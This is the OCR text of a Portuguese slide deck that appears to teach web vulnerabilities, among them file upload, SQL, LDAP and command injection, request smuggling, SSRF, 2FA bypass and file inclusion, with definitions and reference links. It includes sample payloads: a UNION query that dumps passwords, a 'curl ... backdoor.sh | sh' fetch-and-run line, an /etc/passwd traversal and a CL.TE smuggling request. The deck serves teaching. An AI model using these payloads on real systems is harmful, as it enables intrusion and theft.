Carregar arquivo .rar a ser verificado pelo antivirus - comando executado em um cliente executando o software antivirus
vulneravel



https://owasp.org/www-community/vulnerabilities/Cross-site_Scripting_/(XSS/)

\\; UNRESTRICTED FILE UPLOAD - EXEMPLOS

O Evildoer trying to hack your website

Malicious Behaviour @
e

WebsiteRoot

Wieh Server

T
acT
\ User file upload Server.MapPath("~/UserUploads/"
+ Request.Files[@].FileName); |
POST Header; . . .
- ‘I.M_;lici.:.u;F|||:_|-_t!g" — MalICIUUEFlle.Uﬂ

L~ UserU ploads

— NOTHING!

https: / /owasp.org /www-

community /vulnerabilities /Unrestricted File Upload



https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

UNRESTRICTED FILE UPLOAD - EXEMPLOS

\l 1 192,168.1.102
/|

O
Home | Vulnerability: File Upload
lnstmcﬂom Choose an image to upload:
Setup / Reset DB
l Browse.. | img.php
Brute Force |
e — | Upload |
Command Injection __’ e
? e — More Information

Flle Inclusion

Insecure CAPTCHA

https:/ /owasp.org/www-

community /vulnerabilities /Unrestricted File Upload



https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

UNRESTRICTED FILE UPLOAD - EXEMPLOS

— ] —

Upload "file php.’ version of Joomia

E-ﬁ
Execute Tie php Sy

https: / /owasp.org /www-

community /vulnerabilities /Unrestricted File Upload



https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

FILE UPLOAD UNRESTRICTED - EXEMPLOS

1 https: / /medium.com/@shayboy 123 /how-i-gain-unrestricted-file-upload-remote-code- (
execution-bug-bounty-381d0aab0dad

® https://www.youtube.com/watchev=4g2uwJ7H7zM

https: / /www.youtube.com /watchev=xpCLMz3efUw

® https://www.youtube.com/watchev=YwZwxfGTpVc

l ® https://nileshsapariya.blogspot.com/2015 /11 /linkedin-unrestricted-file-upload.html

® https://blog.securitybreached.org /2017 /12 /19 /unrestricted-file-upload-to-rce-bug-bounty-
T poc/
O
® https://0x00sec.org/t/unrestricted-cv-file-upload /20325

® https://github.com/modzero/modOBurpUploadScanner (PLUGIN - BURP SUITE)

¢ https://www.youtube.com/watchev=CmF9sEyKZNo



https://medium.com/@shayboy123/how-i-gain-unrestricted-file-upload-remote-code-execution-bug-bounty-381d0aab0dad
https://www.youtube.com/watch?v=4g2uwJ7H7zM
https://www.youtube.com/watch?v=xpCLMz3efUw
https://www.youtube.com/watch?v=YwZwxfGTpVc
https://nileshsapariya.blogspot.com/2015/11/linkedin-unrestricted-file-upload.html
https://blog.securitybreached.org/2017/12/19/unrestricted-file-upload-to-rce-bug-bounty-poc/
https://0x00sec.org/t/unrestricted-cv-file-upload/20325
https://github.com/modzero/mod0BurpUploadScanner
https://www.youtube.com/watch?v=CmF9sEyKZNo

SQL INJECTION

\l\@ Um ataque de injecao SQL consiste na insercao ou "injecao" de uma consulta g
SQL atraves dos dados de entrada do cliente para o aplicativo. Uma

exploracdo bem-sucedida da injecao SQL pode ler dados confidenciais do

banco de dados, modificar dados (Inserir / Atualizar / Excluir), executar

operacOes de administracao no banco de dados (como desligar o DBMS),
l recuperar o contetdo de um determinado arquivo presente no arquivo DBMS

sistema e, em alguns casos, emita comandos para o sistema operacional. Os
ataques de injecao SQL sao um tipo de ataque de injecao, no qual comandos
SQL sao injetados na entrada do plano de dados para efetuar a execucao de
comandos SQL predefinidos.

hitps: / /owasp.org/www-community /attacks /SQL Injection



https://owasp.org/www-community/attacks/SQL_Injection
https://owasp.org/www-community/attacks/SQL_Injection

N

SQL INJECTION

\1\1 Erros de injecao SQL ocorrem quando:
/ .Os dados entram no programa a partir de uma fonte néo confiavel.

O  2.0s dados usados para construir dinamicamente uma consulta SQL

* As principais consequéncias sao.:

* Confidencialidade : como os bancos de dados SQL geralmente mantém dados confidenciais,
a perda de confidencialidade € um problema frequente nas vulnerabilidades da Injecéo SQL.

l * Autenticacao : se comandos SQL ruins forem usados para verificar nomes de usuario e
senhas, talvez seja possivel conectar-se a um sistema como outro usuario sem conhecimento
prévio da senha.

* Autorizacéao : se as informacoes de autorizagcao estiverem em um banco de dados SQL,
talvez seja possivel altera-las através da exploracao bem-sucedida de uma vulnerabilidade de
Injecao SQL.

* Integridade : Assim como pode ser possivel ler informacdes confidenciais, também é possivel
fazer alteracOes ou até mesmo excluir essas informacdes com um ataque de injecao de SQL.




SQL INJECTION - TIPOS

\l\o A injecao de SQL pode ser usada de varias maneiras para causar problemas ‘(
serios. Ao alavancar a injecao de SQL, um invasor pode ignorar a autenticacao,
acessar, modificar e excluir dados em um banco de dados. Em alguns casos, o
SQL Injection pode até ser usado para executar comandos no sistema
operacional, potencialmente permitindo que um invasor passe a ataques mais

l prejudiciais dentro de uma rede que fica atras de um firewall.

* A injecao de SQL pode ser classificada em trés categorias principais - SQLi em
banda , SOLI inferencial e SOLI fora de banda .


https://www.acunetix.com/websitesecurity/sql-injection/

SQL INJECTION - TIPOS

1 QLi em banda (SQLi classico)

* O SQL Injection em banda € o ataque mais comum e facil de explorar dos SQL
Injection. A injecao de SQL em banda ocorre quando um invasor pode usar 0 mesmo
canal de comunicacao para iniciar o ataque e coletar resultados.

* Os dois tipos mais comuns de injecao SQL em banda sao SQLi baseado em erro e SQLI
l baseado em unido .

SQLi baseado em erro

* O SQLi baseado em erro € uma técnica de injecao de SQL em banda que se baseia em
mensagens de erro lancadas pelo servidor de banco de dados para obter informacdes
sobre a estrutura do banco de dados. Em alguns casos, apenas a injecao SQL baseada
em erro é suficiente para um invasor enumerar um banco de dados inteiro. Embora os
erros sejam muito uteis durante a fase de desenvolvimento de um aplicativo Web,
eles devem ser desativados em um site ativo ou registrados em um arquivo com
acesso restrito.




SQL INJECTION - TIPOS

\l QLi baseado em uniao

* O SQLi baseado em unidao € uma técnica de injecao de SQL em banda que utiliza o operador
UNION SQL para combinar os resultados de duas ou mais instrucdes SELECT em um unico
resultado que é retornado como parte da resposta HTTP.

SQLi Inferencial (SQL Cego)

* A injecao inferencial de SQL, diferentemente do SQLi em banda, pode levar mais tempo para
l um invasor explorar, no entanto, € tdao perigoso quanto qualquer outra forma de injecao de

SQL. Em um ataque inferencial do SQLI, nenhum dado € realmente transferido pelo aplicativo
Web e o invasor nao seria capaz de ver o resultado de um ataque dentro da banda (€ por isso
que esses ataques sao comumente referidos como " atagues cegos de injecao de SQL ") . Em
vez disso, um invasor é capaz de reconstruir a estrutura do banco de dados enviando cargas,

observando a resposta do aplicativo Web e o comportamento resultante do servidor de banco
de dados.

* Os dois tipos de injecao SQL inferencial sao -boolean baseado em Cegos SQL( e SQLi baseado
em Cego-time .



https://www.acunetix.com/websitesecurity/blind-sql-injection/

/1
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SQL INJECTION - TIPOS

QLi cego baseado em booleano (baseado em contetido)

A Injecdo SQL baseada em booleano é uma técnica inferencial de Injecao SQL que se baseia no envio de uma
consulta SQL ao banco de dados, o que forca o aplicativo a retornar um resultado diferente, dependendo se a
consulta retorna um resultado VERDADEIRO ou FALSO.

Dependendo do resultado, o conteudo da resposta HTTP sera alterado ou permanecera o mesmo. Isso permite
que um invasor deduza se a carga util usada retornou verdadeiro ou falso, mesmo que nenhum dado do banco
de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados grandes), pois
um invasor precisa enumerar um banco de dados, caractere por caractere.

SQLi cego baseado em tempo

* A injecdo de SQL baseada em tempo € uma técnica inferencial de injecao de SQL que depende do envio de

uma consulta SQL ao banco de dados, o que forca o banco de dados a aguardar um periodo de tempo
especificado (em segundos) antes de responder. O tempo de resposta indicara ao invasor se o resultado da
consulta € VERDADEIRO ou FALSO.

Dependendo do resultado, uma resposta HTTP sera retornada com um atraso ou retornada imediatamente. Isso
permite que um invasor deduza se a carga util usada retornou verdadeiro ou falso, mesmo que nenhum dado
do banco de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados
grandes), pois um invasor precisara enumerar um caractere de banco de dados por caractere.




SQL INJECTION - TIPOS

QLi fora da banda

* Ainjecao de SQL fora de banda nao € muito comum, principalmente porque depende dos
recursos ativados no servidor de banco de dados que esta sendo usado pelo aplicativo da
web. A injecao SQL fora de banda ocorre quando um invasor nao consegue usar 0 mesmo
canal para iniciar o ataque e coletar resultados.

* As técnicas fora da banda oferecem ao invasor uma alternativa as técnicas inferenciais
baseadas em tempo, especialmente se as respostas do servidor nao forem muito
estaveis (tornando um ataque inferencial baseado em tempo nao confiavel).

* As técnicas de SQLi fora de banda dependeriam da capacidade do servidor de banco de dados
de fazer solicitacdes de DNS ou HTTP para fornecer dados a um invasor. E o caso do
xp_dirtreecomando do Microsoft SQL Server, que pode ser usado para fazer solicitacdes de
DNS para um servidor que um invasor controla; bem como o pacote UTL_HTTP do Oracle
Database, que pode ser usado para enviar solicitacdes HTTP de SQL e PL / SQL para um
servidor que um invasor controla.

® hitps://www.acunetix.com/websitesecurity /sql-injection2 /



https://www.acunetix.com/websitesecurity/sql-injection2/

SQL INJECTION - EXEMPLOS

' UNION SELECT username, password FROM users--

SELECT name, description FROM products WHERE category
= 'Gifts' UNION SELECT username, password FROM users--

4 {* All passwords)—

—((_% All usernames) <4




SQL INJECTION - EXEMPLOS

SQL Injection

http://students.com? SELECT * FROM students
studentld=117 or 1=1;-- WHERE studentld=117 or 1=1,
> >
8 | Tt
v l(
\=_ =4
Attacker & Web API Server €

. SQL Database
Data for all students is Return data for Server

returned to the attacker all students




\\; SQL INJECTION - EXEMPLOS

O

http://softwarecompany.com? SELECT" FROM users
userlD=1199 or 1=1;-- WHERE userlD=1199 or 1=1;--

s
IR
"/
ap . 02929090 0

Attacker Data for all users is Web API Server Return data for Victim’'s SQL
returned to attacker all users

Database Server
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SQL INJECTION - EXEMPLOS

1 https: / /www.youtube.com /watch2v=7DIrFns3200
https: / /www.youtube.com/watch2v=DbIB3Hi6KeZU

O e https://www.youtube.com /watchev=U3Qzc2YUNIU

* https://www.hackerone.com/blog /8-high-impact-bugs-and-how-hackerone-customers-avoided-breach-

sgl-injection

® https://medium.com/sudOroot/bug-bounty-writeups-exploiting-sql-injection-vulnerability-

l 20b019553716

hitps: / /www.youtube.com/watch2v=w0k82G-g58BI

https: / /www.youtube.com /watch2v=KS5F20i1kvU

[ ]
R https: / /www.youtube.com /watch?v=IsuCEGsrVPc
(]

https: / /www.youtube.com /watchev=_i9u802ehlg

* https://www.youtube.com /watch?v=zflIGYk3rmqgO

* hitps://www.youtube.com/watch2v=UMJV3OpjsoM



https://www.youtube.com/watch?v=7DlrFns3200
https://www.youtube.com/watch?v=bIB3Hi6KeZU
https://www.youtube.com/watch?v=U3Qzc2YUNIU
https://www.hackerone.com/blog/8-high-impact-bugs-and-how-hackerone-customers-avoided-breach-sql-injection
https://medium.com/sud0root/bug-bounty-writeups-exploiting-sql-injection-vulnerability-20b019553716
https://www.youtube.com/watch?v=w0k82G-q5BI
https://www.youtube.com/watch?v=KS5F20i1kvU
https://www.youtube.com/watch?v=IsuCEGsrVPc
https://www.youtube.com/watch?v=_i9u8O2ehlg
https://www.youtube.com/watch?v=zflGYk3rmq0
https://www.youtube.com/watch?v=UMJV3OpjsoM
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LDAP INJECTION

Na seguranca do computador, a injecao LDAP € uma técnica de injecao de codigo usada para [(
explorar aplicativos da Web que podem revelar informacdes confidenciais do usuario ou
modificar as informacoes representadas nos armazenamentos de dados LDAP.

* Ainjecao LDAP surge quando os dados controlaveis pelo usuario sao copiados de maneira
Insegura em uma consulta LDAP executada pelo aplicativo. Se um invasor puder injetar
metacaracteres LDAP na consulta, ele podera interferir na logica da consulta. Dependendo da
funcao para a qual a consulta € usada, o invasor podera recuperar dados confidenciais para
0S quais nao estao autorizados ou subverter a logica do aplicativo para executar alguma acao
nao autorizada.

* Observe que testes automatizados baseados em diferencas para falhas na injecao de LDAP
geralmente podem nao ser confiaveis e propensos a resultados falsos positivos. Os
resultados do scanner devem ser revisados manualmente para confirmar se uma
vulnerabilidade esta realmente presente.

* https: //en.wikipedia.org /wiki/LDAP injection

® https://portswigger.net /kb /issues /00100500 Idap-injection



https://en.wikipedia.org/wiki/LDAP_injection
https://portswigger.net/kb/issues/00100500_ldap-injection

\\; LDAP INJECTION - EXEMPLOS

NORMAL OPERATION

O (normal query)

LDAP

Normal Results

OPERATION WITH CODE INJECTION

(normal query )+
code injection

LDAP
CLIENT SERVER

Normal Results and/or
Additional Information




\\g LDAP INJECTION - EXEMPLOS

/|
O
: ? ?
http://test.com (User=abc)
user=abc
Web &
Application
Server
Data of user "abc” is Directory entry for
returned

user=abc Is returned

Typical Application Server and Directory Server Communication




LDAP EXEMPLOS

1 https: / /www.youtube.com /watchev=qStzSfsEQGQ

* https://www.youtube.com/watch?v=iUbqly MOIE

® https://www.youtube.com/watch?2v=DkKUDbEt46A

® https://hackerone.com/reports /359290

l ® https://www.blackhat.com/presentations/bh-europe-08 /Alonso-
Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

T ® https://research.securitum.com /Idap-injection-vulnerability-definitions-examples-of -

P attacks-methods-of-protection/

* https: / /www.youtube.com /watchev=K0g10q2BQAk



https://www.youtube.com/watch?v=qStzSfsEQGQ
https://www.youtube.com/watch?v=iUbqJy_MOiE
https://www.youtube.com/watch?v=DkKUDbEt46A
https://hackerone.com/reports/359290
https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
https://research.securitum.com/ldap-injection-vulnerability-definitions-examples-of-attacks-methods-of-protection/
https://www.youtube.com/watch?v=K0q10q9BQAk
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COMMAND INJECTION

Injecao de comando € um ataque no qual o objetivo é a execucao de comandos
/ arbitrarios no sistema operacional host por meio de um aplicativo vulneravel. Os
S ataques de injecdo de comando sao possiveis guando um aplicativo passa dados

iInseguros fornecidos pelo usuario (formularios, cookies, cabecalhos HTTP etc.) para
um shell do sistema. Nesse ataque, os comandos do sistema operacional fornecidos
pelo invasor geralmente sdo executados com os privilegios do aplicativo
vulneravel. Os ataques de injecado de comando s&o possiveis em grande parte

l devido a validacao de entrada insuficiente.

* Esse ataque difere da Injecao de codigo , pois a injecao de codigo permite que o
Invasor adicione seu proprio codigo que € executado pelo aplicativo. Na Injecao de
Comando, o invasor estende a funcionalidade padrao do aplicativo, que executa
comandos do sistema, sem a necessidade de injetar codigo.

https: / /owasp.org /www-community /attacks /Command Injection



https://owasp.org/www-community/attacks/Code_Injection
https://owasp.org/www-community/attacks/Command_Injection

\\; COMMAND INJECTION - EXEMPLOS

» araarnes
Cib P S O R

:

.

:

:

O ename=../../../etc/passwd DRIDAD/ DOWNLOAD

$(curl https://web-attacker.com/backdoor.sh | sh)

Lo
' EULIS
SYSTEM
_ CONTROL

‘ jeTe)
BEER ACCESS

&

EBOURSER
LEVELS

APRIUNCATION
ACCESS




\\g COMMAND INJECTION - EXEMPLOS

/] The application executes 3
. predefined command, which
O ' o o i< specified by the
application itself %

Output

The output of the command
execution is sent to the user

Input {including an arbitrary command)

, Tha application executesan |
arbitrary command as
! specified by the attacker

Output

—

The output of the command
execution is sent to the attacker




COMMAND INJECTION - EXEMPLOS

1 https: / /www.youtube.com /watch2v=nZqidp5Zukl

https: / /www.youtube.com/watchev=dQ- TO1zuvA

https: / /www.youtube.com/watch2v=0IVezhUS4NQ

https: / /medium.com/@trapp3rhat/command-injection-through-blh-3¢32614bb395

https: / /medium.com /bugbountywriteup /when-i-found-multiple-command-injection-

l ad8921d3ad%eb

® https://www.hackerone.com/blog /how-to-command-injections

Cf ® https://portswigger.net/web-security /os-command-injection

® https: / /www.youtube.com /watch?2v=nzrd Dozufo

* https: //portswigger.net /web-security /os-command-injection



https://www.youtube.com/watch?v=nZqidp5ZukI
https://www.youtube.com/watch?v=dQ-_TO1zuvA
https://www.youtube.com/watch?v=OIVezhUS4NQ
https://medium.com/@trapp3rhat/command-injection-through-blh-3c32614bb395
https://medium.com/bugbountywriteup/when-i-found-multiple-command-injection-ad891d3ad9e6
https://www.hackerone.com/blog/how-to-command-injections
https://portswigger.net/web-security/os-command-injection
https://www.youtube.com/watch?v=nzrd_Dozufo
https://portswigger.net/web-security/os-command-injection
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K SUBDOMAIN TAKEOVER

:l S ataques de controle de subdominio sao uma classe de problemas de seguranca em que um invasor pode assumir o contrele
1 d

ubdominio de uma organizagao por meio de servicos em nuvem como AWS ou Azure. Eles geralmente acontecem quando
0s projetos da Web séo finalizados, mas as entradas DNS do subdominio néo sao totalmente desativadas.

Quando paginas da web séo hospedadas em provedores de nuvem, a pagina da Web geralmente € criada em um subdominio no
provedor de nuvem primeiro. Por exemplo, no Azure, esse subdominio teria o formato webproject.azurewebsites.net . Em ultima
analise, o cliente deseja que o projeto pareca estar hospedado em um subdominio do proprio dominio do cliente . Portanto, as
consultas ao subdominio do cliente - por exemplo, webproject.example.org - seriam encaminhadas para o subdominio hospedado
na nuvem - nesse caso, webproject.azurewebsites.net .

Para efetuar essa alteracéo, um registro DNS (sistema de nome de dominio) CNAME - um registro para um nome candnico - esta
configurado para encaminhar todas as consultas ao subdominio do cliente, por exemplo, webproject.example.org , ao subdominio
do provedor de nuvem, webproject .azurewebsites.net , onde o projeto da web esta hospedado.

O potencial para uma aquisicao de subdominio ocorre quando a pagina da web hospedada no provedor de nuvem € excluida,
mas a entrada DNS é mantida. H4 uma razao para essa ocorréncia comum: enquanto a hospedagem no provedor de nuvem
custa dinheiro, ter uma entrada DNS antiga geralmente € gratuita. Portanto, embora exista um incentivo para excluir paginas da
WeDb obsoletas, as entradas DNS sao frequentemente esquecidas.

hitps: / /searchsecurity.techtarget.com/answer/What-is-subdomain-takeover-and-why-does-it-matter



https://searchnetworking.techtarget.com/tip/Common-DNS-record-times-What-they-mean
https://searchnetworking.techtarget.com/definition/domain-name-system
https://searchwindowsserver.techtarget.com/definition/CNAME
https://searchwindowsserver.techtarget.com/definition/CNAME
https://searchsecurity.techtarget.com/answer/What-is-subdomain-takeover-and-why-does-it-matter

\\; SUBDOMAIN TAKEOVER - EXEMPLOS

1. Give me address of sub.example.com
- —_— >

6. Itis 1.2.3.4

ample.com. 60 IN CNAME ant ' =
]
E—— \

&

ain name

DNS server for example.com DNS server of anotherdomain.com

Web server on anotherdemain.com
IP address: 1.2.3.4



OO_/

O o
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SUBDOMAIN TAKEOVER - EXEMPLOS

https: / /www.youtube.com /watchev=u nXZ4YRcto

https: / /www.youtube.com /watch2v=kMAtAWFBPLA

https: / /www.youtube.com /watch2v=jqyOpSrfO2U

https:/ /www.youtube.com /watchev=9DYEg j- hw

https: / /www.youtube.com /watch2v=ffQ38bMT4Kk

https: / /www.youtube.com /watchev=srKlghj ki8

https: / /www.youtube.com /watch2v=vpCI8foxP00

https: / /www.youtube.com /watchev=9Nve8HwxkC8

https: / /www.hackerone.com/blog /Guide-Subdomain-Takeovers

https:/ /hackerone.com/reports /325336

https: / /Oxpatrik.com /takeover-proofs/



https://www.youtube.com/watch?v=u_nXZ4YRcto
https://www.youtube.com/watch?v=kMAtAWFBPLA
https://www.youtube.com/watch?v=jqyOpSrf02U
https://www.youtube.com/watch?v=9DYEg_j-_hw
https://www.youtube.com/watch?v=ffQ38bMT4Kk
https://www.youtube.com/watch?v=srKIqhj_ki8
https://www.youtube.com/watch?v=vpCI8foxP00
https://www.youtube.com/watch?v=9Nve8HwxkC8
https://www.hackerone.com/blog/Guide-Subdomain-Takeovers
https://hackerone.com/reports/325336
https://0xpatrik.com/takeover-proofs/

HTTP REQUEST SMUGGLING

\l\@ O contrabando de solicitacdo HTTP é uma tecnica para interferir na maneira !
COMO um site processa sequéncias de solicitacoes HTTP recebidas de um ou
mais usuarios. As vulnerabilidades de contrabando de solicitacdo geralmente
sao de natureza critica, permitindo que um invasor ignore os controles de
seguranca, obtenha acesso nao autorizado a dados confidenciais e
comprometa diretamente outros usuarios do aplicativo.

® https://portswigger.net/web-security /request-smuggling



https://portswigger.net/web-security/request-smuggling

MPLOS




\

Attackers request comes in right
before legitimate authenticated
users request.

POST / HTTP/1.1

Host: storagefreezer.securitytreasurehunt.com
Content-Type: applicationfx-www-form-urlencoded
Content-Length: 36

Transfer-Encoding: chunked

0

GET fapi?SomeAction=true HTTP/1.1

GET fapi?SomeOtherAction=false HTTP/1.1
Host: storagefreezer.securitytreasurehunt.com
Connection: keep-alive

Accept: */*

Cookie: session=TOTALLYLEGITCOOKIE

Legitimately authenticated user
reguest comes in right after
attackers,

HTTP SMUGGLING
CL.TE Example

Proxy streams these requests
together to backend web server.

F0r e runingirerarnehust com
ST AL e ——

Front-End
Reverse Proxy

appierns sounilyiresan e s oom
v st

i TOTALLFLEGITCOORIE

HTTP REQUEST SMUGGLING - EXEMPLOS

POST / HTTP/1.1

Host: storagefreezer.securitytreasurehunt.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

Transfer-Encoding: chunked

0

Backend interprets Transfer-
Encoding as precedence of Content-
Length. As a result the attackers
message is cut off and is interpreted
as the beginning of the next request,

GET fapi?SomeAction=true HTTP/1.1

GET fapi?SomeOtherAction=false HTTP{1.1
Host: storagefreezer.securitytreasurehunt.com
Connection: keep-alive

Accept: *f*

Cookie: session=TOTALLYLEGITCOOKIE
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HTTP REQUEST SMUGGLING - EXEMPLOS

1 https: / /portswigger.net /web-security /request-smuggling /finding

https: //www.youtube.com /watch2v=Ec8Cc6COnS8

O  ® https://www.youtube.com/watchev=_ AQ4msdplXs

* https://www.youtube.com/watch2v=vkfBFuH54G4

* https://www.youtube.com/watch?2v=eWQJtvWecsNw

* https://www.youtube.com/watch?2v=B7zdqg-K2IpE

https: / /hackerone.com /reports /737140
https: / /hackerone.com/reports /726773
https:/ /hackerone.com /reports /866382

l * https://www.youtube.com/watch?v=IzpONjsQIXo

.\O [

https: //blog.detectify.com/2020/05 /28 /hiding-in-plain-sight-http-request-smuggling /

® https://medium.com/cyberverse /earn-bounty-with-http-request-smuggling-attack-c68b4f2db363



https://portswigger.net/web-security/request-smuggling/finding
https://www.youtube.com/watch?v=Ec8Cc6C0nS8
https://www.youtube.com/watch?v=_A04msdplXs
https://www.youtube.com/watch?v=vkfBFuH54G4
https://www.youtube.com/watch?v=eWQJtvWcsNw
https://www.youtube.com/watch?v=lzpONjsQlXo
https://www.youtube.com/watch?v=B7zdq-K2lpE
https://hackerone.com/reports/737140
https://hackerone.com/reports/726773
https://hackerone.com/reports/866382
https://blog.detectify.com/2020/05/28/hiding-in-plain-sight-http-request-smuggling/
https://medium.com/cyberverse/earn-bounty-with-http-request-smuggling-attack-c68b4f2db363
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SERVER SIDE REQUEST FORGERY

A falsificacao de solicitacdo do lado do servidor (também conhecida como SSRF) é uma ((
vulnerabilidade de seguranca da Web que permite que um invasor induza o aplicativo do
servidor a fazer solicitacdoes HTTP para um dominio arbitrario de sua escolha.

* Em exemplos tipicos de SSRF, o invasor pode fazer com que o servidor faca uma conexao de
volta para si mesmo ou para outros servi¢cos baseados na Web na infraestrutura da
organizacao ou para sistemas externos de terceiros.

* Um ataque bem-sucedido do SSRF geralmente pode resultar em acoes nao autorizadas ou
no acesso a dados dentro da organizacao, no proprio aplicativo vulneravel ou em outros
sistemas de back-end com os guais o aplicativo pode se comunicar. Em algumas situacoes, a
vulnerabilidade do SSRF pode permitir que um invasor execute a execucao arbitraria de
comandos .

* Uma exploracao de SSRF que causa conexdes com sistemas externos de terceiros pode
resultar em ataques maliciosos que parecem se originar da organizacao que hospeda o
aplicativo vulneravel, levando a possiveis responsabilidades legais e danos a reputacao.

® https://portswigger.net/web-security /ssrf



https://portswigger.net/web-security/os-command-injection
https://portswigger.net/web-security/ssrf

SERVER SIDE REQUEST FORGERY - EXEMPLOS

2. Example.com Server

google.cam

GET ffuri=http://google_comf HTTR/L.1 -~
Host: example.com ’ GET / HTT®/1.1
Hast: google.com

Sends the respanse
te attacker

Y
W N

Response from google.com X
is sent to exmple.com serve =
4

s

Attacker requests example to fetch google.com

1. Artacker 3. google.com sarver
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SERVER SIDE REQUEST FORGERY - EXEMPLOS

1 https: / /www.youtube.com /watch2v=66ni2BTIiS8

https: / /www.youtube.com /watch?v=sZ9SbXDBR8k

O * https://www.youtube.com/watchev=yfH3ChlaT4g

® https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability /

® https://www.youtube.com/watchev=voTHFdL9S 2k

* https://www.youtube.com/watch2v=t9ttt5bZaTE

* https://www.youtube.com /watch2v=Fi32ZkFofpU

® https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978

l * https://www.youtube.com/watch2v=_IVjvNelzMw

® https: //www.youtube.com /watch?2v=x9UFIxMz-po
[

https: / /hackerone.com /reports /514224

® https://hackerone.com/reports /341876

*® https://portswigger.net /daily-swig /facebook-security-researcher-scoops-3 1k-bug-bounty-for-flagging-ssrf-vulnerabilities



https://www.youtube.com/watch?v=66ni2BTIjS8
https://www.youtube.com/watch?v=sZ9SbXDBR8k
https://www.youtube.com/watch?v=yfH3ChIaT4g
https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
https://www.youtube.com/watch?v=voTHFdL9S2k
https://www.youtube.com/watch?v=t9ttt5bZaTE
https://www.youtube.com/watch?v=_IVjvNelzMw
https://www.youtube.com/watch?v=Fi32ZkFofpU
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978
https://www.youtube.com/watch?v=x9UFlxMz-po
https://hackerone.com/reports/514224
https://hackerone.com/reports/341876
https://portswigger.net/daily-swig/facebook-security-researcher-scoops-31k-bug-bounty-for-flagging-ssrf-vulnerabilities
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2AF BYPASS

1 A autenticacao multifator € um método de autenticacao no qual um usuario de g
computador recebe acesso somente apos apresentar com sucesso duas ou

O mais evidéncias a um mecanismo de autenticacao: conhecimento, posse e
heranca. A autenticacao de dois fatores € um tipo, ou subconjunto, de
autenticacao de multiplos fatores.

l ® https://en.wikipedia.org /wiki/Multi-factor authentication

* Vulnerabilidades:

https: / /medium.com /@surendirans7777 /2fa-bypass-techniques-32ec1 35fb7fe

hitps: / /shahmeeramir.com /4-methods-to-bypass-two-factor-authentication-
2b0075d9eb5f

https: / /hackerone.com /reports /121696



https://en.wikipedia.org/wiki/Multi-factor_authentication
https://medium.com/@surendirans7777/2fa-bypass-techniques-32ec135fb7fe
https://shahmeeramir.com/4-methods-to-bypass-two-factor-authentication-2b0075d9eb5f
https://hackerone.com/reports/121696

2AF BYPASS - EXEMPLOS

1 hitps: / /www.youtube.com /watchev=QJL63 LO6c8
https: / /www.youtube.com/watchev=4Y NQbNQLg8

https: / /www.youtube.com /watch2v=kljojaKfKuE

https: / /www.youtube.com /watchev=kHI90LbBwaQ

https: //www.youtube.com/watch2v=ftpOrSuM39M

l ® https://www.youtube.com/watchev=xaOX8DS-Cto

® https://www.youtube.com/watch2v=KNée 1 mqgcB9s
T o https: / /www.youtube.com /watch?2v=T7xG40ODwMzM

. https: / /www.youtube.com /watch?2v=Yp6OFjeXdlw

% https: / /www.sans.org /webcasts /multi-factor-authentication-bypass-techniques-about-115255

¢ hftps://www.datto.com/library /how-attackers-bypass-multi-factor-authentication-mfa



https://www.youtube.com/watch?v=QJL63_LO6c8
https://www.youtube.com/watch?v=4Y_NQbNQLg8
https://www.youtube.com/watch?v=kIjojaKfKuE
https://www.youtube.com/watch?v=kHI90LbBwaQ
https://www.youtube.com/watch?v=ftpOrSuM39M
https://www.youtube.com/watch?v=xaOX8DS-Cto
https://www.youtube.com/watch?v=KN6e1mqcB9s
https://www.youtube.com/watch?v=T7xG4ODwMzM
https://www.youtube.com/watch?v=Yp6OFjeXdIw
https://www.sans.org/webcasts/multi-factor-authentication-bypass-techniques-about-115255
https://www.datto.com/library/how-attackers-bypass-multi-factor-authentication-mfa

N s

LOCAL FILE INCLUSION

A falha de local file inclusion permite que o atacante inclua um arquivo para explorar o mecanismo de ‘(
dynamic file inclusion( incluséo dinamica de arquivo ) implementado na aplicacéo web. A falha ocorre

devido ao fato de que o atacante pode passar qualquer valor para o parametro da aplicacéo alvo e a

mesma nao faz a validacao correta do valor informado antes de executar a operacao. Esse tipo de falha

faz com que a aplicacado web mostre o conteddo de alguns arquivos, mas dependendo da severidade,

essa falha tambeém permite:

* — Execucao de codigo no servidor
— Execucao de codigo no client-side. Por exemplo, JavaScript, o que pode levar a ocorréncia de outros
tipos de ataques como XSS por exemplo
— Negacéo de Servigo(DoS)
— Vazamento de informacdes sensiveis

* Local File Inclusion (LFI) € o processo de inclusédo de arquivos, que ja estao presentes localmente no
servidor em questéo, atraves da exploracéo de processos de inclusao vulneraveis, implementados na
aplicacao web.

Esta falha ocorre, por exemplo, quando uma pagina recebe como entrada, o caminho para o arquivo
gue sera incluido, e esta entrada néo € validada de forma correta pela aplicacédo web, possibilitando
assim que caracteres de directory traversal(../../) sejam injetados.



REMOTE FILE INCLUSION

Apesar de que a maior parte desse tipo de falha se manifeste em aplicacdes PHP, € muito importante
lembrar que ela também pode ocorrer em JSP, ASPX e outras tecnologias.

* Remote File Inclusion (RFI) € 0 processo de inclusao de arquivos remotos, através da exploracéo dos
processos de inclusédo vulneraveis, implementados na aplicacéao web.
Esta falha ocorre, por exemplo, quando uma pagina recebe como entrada, o caminho para o arquivo
gue sera incluido, e esta entrada nao € validada de forma correta pela aplicacédo web, permitindo assim
l gue uma URL externa seja injetada na aplicacao.

* Apesar de que a maior parte desse tipo de falha se manifeste em aplicacdes PHP, € muito importante
lembrar que ela também pode ocorrer em JSP, ASPX e outras tecnologias.

https: / /www.infosec.com.br /local-file-inclusion-remore-file-inclusion /



https://www.infosec.com.br/local-file-inclusion-remore-file-inclusion/

\\; LOCAL FILE INCLUSION - EXEMPLOS

O




O

http:/falhc.com,/#fi
http:/ fwrannd hack.com/payloadfile. php

The Attacker gets control aver the
target's web application.
meterpreter »

